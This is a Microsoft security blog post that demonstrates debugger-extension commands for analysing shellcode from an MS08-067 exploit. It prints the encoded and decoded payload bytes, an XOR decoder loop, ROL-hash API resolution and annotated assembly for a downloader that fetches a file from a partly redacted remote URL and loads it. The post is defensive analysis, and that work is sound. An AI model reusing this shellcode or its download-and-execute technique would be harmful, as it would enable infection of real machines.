Skip to main content
MSRC

Shellcode Analysis via MSEC Debugger Extensions

In a previous post we provided some background on the !exploitable Crash Analyzer which was released earlier this year. One of the things that we didn’t mention is that !exploitable is just one of the debugger commands exported by the MSEC debugger extension. This extension also contains some additional commands that shellcode analysts may find useful. These commands can help with the process of decoding shellcode and resolving hashes to API names. In this post we will show how these commands can be used to help analyze shellcode from an exploit of MS08-067. In this example, the analysis begins prior to the exploit gaining control.

Decoding Utilities

Below is the beginning of the call-to-self GetPC in the shellcode:

0:016> u 010cf4fa
010cf4fa e8ffffffff      call    010cf4fe                     ; call to self
010cf4ff c25f8d          ret     8D5Fh
010cf502 4f              dec     edi
0:016> u 010cf4fe
010cf4fe ffc2            inc     edx
010cf500 5f              pop     edi                          ; edi = 010cf4ff

Then an XOR decoder is used:

010cf501 8d4f10          lea     ecx,[edi+10h]                ; ecx = 010cf50f
010cf504 8031c4          xor     byte ptr [ecx],0C4h
010cf507 41              inc     ecx
010cf508 6681394d53      cmp     word ptr [ecx],534Dh
010cf50d 75f5            jne     010cf504
010cf50f 38aec69da04f    cmp     byte ptr [esi+4FA09DC6h],ch  ; encoded, disassembles to garbage
010cf515 85ea            test    edx,ebp
010cf517 4f              dec     edi
010cf518 84c8            test    al,cl
010cf51a 4f              dec     edi
010cf51b 84d8            test    al,bl
010cf51d 4f              dec     edi
010cf51e c44f9c          les     ecx,fword ptr [edi-64h]
010cf521 cc              int     3
010cf522 49              dec     ecx
010cf523 7365            jae     010cf58a
010cf525 c4              ???
010cf526 c4              ???

In order to decode the payload and further analyze the shellcode we could save the bytes in an external file, load the file in an application such as IDA Pro, and then run a decoder script over the bytes. This is a fairly tedious process. The MSEC debugger extension provides an alternative solution in the form of built-in decoding utilities that can help to expedite this task. One of these commands is xoru:

0:016> !msec.xoru
 Usage  : !xoru [-b] address [len] key
 Example: !xoru eax 64 DD
 Example: !xoru -b eax 64 DD (Leave the transformed buffer in memory)
 Example: !xoru 0x00123456 DD (using default length = 256)
0:016> !msec.xoru 010cf50f c4
0x010cf50f  FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@....
0x010cf520  58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P...
0x010cf531  FC 56 FF 17 93 83 C6 07 E8 18 00 00 00 33 D2 52 52 .V...........3.RR
0x010cf542  8B CC 66 C7 01 78 2E 51 FF 77 04 52 52 51 56 52 FF ..f..x.Q.w.RRQVR.
0x010cf553  37 FF E0 AD 51 56 95 8B 4B 3C 8B 4C 0B 78 03 CB 33 7...QV..K<.L.x..3
0x010cf564  F6 8D 14 B3 03 51 20 8B 12 03 D3 0F 00 C0 0F BF C0 .....Q ..........
0x010cf575  C1 C0 07 32 02 42 80 3A 00 75 F5 3B C5 74 06 46 3B ...2.B.:.u.;.t.F;
0x010cf586  71 18 72 DB 8B 51 24 03 D3 0F B7 14 72 8B 41 1C 03 q.r..Q$.....r.A..
0x010cf597  C3 8B 04 90 03 C3 5E 59 C3 60 A2 8A 76 26 80 AC C8 ......^Y.`..v&...
0x010cf5a8  75 72 6C 6D 6F 6E 00 99 23 5D D9 68 74 74 70 3A 2F urlmon..#].http:/
0x010cf5b9  2F xx xx 2E 32 33 2E xx xx xx 2E xx xx xx 3A 33 38 /xx.23.xxx.xxx:38
0x010cf5ca  31 38 2F 6D 79 6B 75 00 89 97 8C B5 A8 A8 B4 97 82 18/myku..........
0x010cf5db  92 A6 93 94 AF BE 87 A1 AD 8F A8 89 8D B6 8D AD 9D .................
0x010cf5ec  97 B4 8D 94 89 B2 BD BD B6 B4 BE AC A9 91 8C 80 91 .................
0x010cf5fd  95 AA A6 96 89 93 87 8E 93 AD 9E 97 9D 8B A8 B1 A8 .................
0x010cf60e  B2
010cf50f fc              cld
010cf510 6a02            push    2
010cf512 59              pop     ecx
010cf513 648b412e        mov     eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c          mov     eax,dword ptr [eax+0Ch]
010cf51a 8b401c          mov     eax,dword ptr [eax+1Ch]
010cf51d 8b00            mov     eax,dword ptr [eax]
010cf51f 8b5808          mov     ebx,dword ptr [eax+8]
010cf522 8db7a1000000    lea     esi,[edi+0A1h]
010cf528 e829000000      call    010cf556
010cf52d 50              push    eax
010cf52e e2f8            loop    010cf528
010cf530 8bfc            mov     edi,esp
010cf532 56              push    esi
010cf533 ff17            call    dword ptr [edi]
010cf535 93              xchg    eax,ebx
010cf536 83c607          add     esi,7
010cf539 e818000000      call    010cf556
...

It’s worth noting that this shellcode utilizes a stop marker instead of a counter for the XOR loop, hence we used the default decoding length (256) since the shellcode size is less than that. Continuing on to the decoded payload, we can see that the exploit starts with finding the base address of kernel32.dll:

010cf510 6a02            push    2
010cf512 59              pop     ecx
010cf513 648b412e        mov     eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c          mov     eax,dword ptr [eax+0Ch]
010cf51a 8b401c          mov     eax,dword ptr [eax+1Ch]
010cf51d 8b00            mov     eax,dword ptr [eax]
010cf51f 8b5808          mov     ebx,dword ptr [eax+8]     ; ebx = kernel32.dll base address

For detailed explanation about the code, see [1].

API Name Hash Resolver Utilities

After the base address of kernel32.dll has been found, the shellcode then invokes an API hash name resolver:

010cf522 8db7a1000000    lea     esi,[edi+0A1h]   ; esi = 010cf5a0.
010cf528 e829000000      call    010cf556         ; Call API name hash resolver

The resolver returns the address of the target function whose hash value is pointed to by ESI and whose module address is in EBX. Since the value in the ESI register is statically known, we can find the pre-computed hash value which the shellcode attempts to match:

0:016> dd 010cf5a0 L1
010cf5a0  b24e66a4

However, due to the default behavior of xoru, this value is not correct because the decoded bytes do not exist in memory. In this case, we can use the “-b” switch which causes xoru to leave the transformed buffer in memory:

0:016> !msec.xoru -b 010cf50f c4
0:016> dd 010cf5a0 L1
010cf5a0 768aa260

Now we can find out the actual API name via !msec.ror:

0:016> !msec.ror
Usage: !ror [-n <rotation count="">] [-c <value>] [-x]
Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.
         !ror 0x0E8AFE98</value></rotation>

The purpose of this command is to determine the function that corresponds to a given ror hash. A ror hash is often used by shellcode that runs on Windows as a means of locating exported symbols such as LoadLibraryA, WinExec, and so on. It’s worth noting that this particular shellcode uses ROL instead of ROR and the current version of the MSEC debugger extension does not support ROL. However, since ROL(n) = ROR(32-n), ROR(25) has the same effect as ROL(7):

010cf575 c1c007          rol     eax,7
010cf578 3202            xor     al,byte ptr [edx]

0:016> !msec.ror -x -n 25 768aa260
ExitThread (kernel32.dll)

It should also be noted that the shellcode XOR’s the next character to the hash accumulator instead of ADD, hence the “-x” switch. In this way, we can find the rest of the API calls the shellcode makes:

0:016> !msec.ror -x -n 25 c8ac8026
LoadLibraryA (kernel32.dll)
0:016> !msec.ror -x -n 25 d95d2399
URLDownloadToFileA (urlmon.dll)

With this knowledge, we’re in a better position to be able to quickly finish analyzing the shellcode:

010cf50f fc         cld
010cf510 6a02       push    2
010cf512 59         pop     ecx                         ; ecx = 2
010cf513 648b412e   mov     eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c     mov     eax,dword ptr [eax+0Ch]
010cf51a 8b401c     mov     eax,dword ptr [eax+1Ch]
010cf51d 8b00       mov     eax,dword ptr [eax]
010cf51f 8b5808     mov     ebx,dword ptr [eax+8] ; ebx = kernel32.dll base
010cf522 8db7a1000000 lea     esi,[edi+0A1h]      ; esi = 010cf5a0. esi points to
                                                ; the hash value to resolve
010cf528 e829000000 call    010cf556            ; Call API hash solver. esi += 4.
010cf52d 50         push    eax                 ; Push the resolved function
                                                ; pointer (kernel32!ExitThread)
                                                ; onto the stack
010cf52e e2f8       loop    010cf528            ; Since ecx = 2, resolve
                                                ; (kernel32!LoadLibraryA) and push
                                                ; it onto the stack
010cf530 8bfc       mov     edi,esp             ; edi = LoadLibrary
010cf532 56         push    esi                 ; esi = 010cf5a8 = "urlmon"
010cf533 ff17       call    dword ptr [edi]     ; Call LoadLirary("urlmon")
010cf535 93         xchg    eax,ebx             ; ebx = module handle to
                                                ; urlmon.dll (base address)
010cf536 83c607     add     esi,7               ; esi = 010cf5af
010cf539 e818000000 call    010cf556            ; Call API hash solver. esi += 4.
010cf53e 33d2       xor     edx,edx             ; eax = urlmon!URLDownloadToFileA
010cf540 52         push    edx                 ; An argument to ExitThread
010cf541 52         push    edx                 ; NULL terminate string
010cf542 8bcc       mov     ecx,esp
010cf544 66c701782e mov     word ptr [ecx],2E78h ; ecx = pointer to .x
010cf549 51         push    ecx                 ; After URLDownloadToFileA,
                                                ; LoadLibrary takes this string as
                                                ; an argument.
010cf54a ff7704     push    dword ptr [edi+4]   ; Func ptr kernel32!ExitThread.
                                                ; After URLDownloadToFileA,
                                                ; LoadLibrary(.x) returns
                                                ; to ExitThread here.
010cf54d 52         push    edx                 ; lpfnCB = NULL
010cf54e 52         push    edx                 ; dwReserved = 0
010cf54f 51         push    ecx                 ; szFileName = .x
010cf550 56         push    esi                 ; szURL
010cf551 52         push    edx                 ; pCaller = NULL
010cf552 ff37       push    dword ptr [edi]     ; Func ptr LoadLibrary.
                                                ; URLDownloadToFileA returns to
                                                ; LoadLibrary here.
010cf554 ffe0       jmp     eax                 ; Jump to URLDownloadToFileA

Conclusion

We have shown how the MSEC debugger extension can help expedite the analysis of shellcode by providing some helper functionality. We hope that these tools will help increase the efficiency and effectiveness of shellcode analysts.

- Jinwook Shin, MSEC Security Science

*Postings are provided “AS IS” with no warranties, and confers no rights.*

References

[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf


Related Posts

How satisfied are you with the MSRC Blog?

Rating

Feedback * (required)

Your detailed feedback helps us improve your experience. Please enter between 10 and 2,000 characters.

Thank you for your feedback!

We'll review your input and work on improving the site.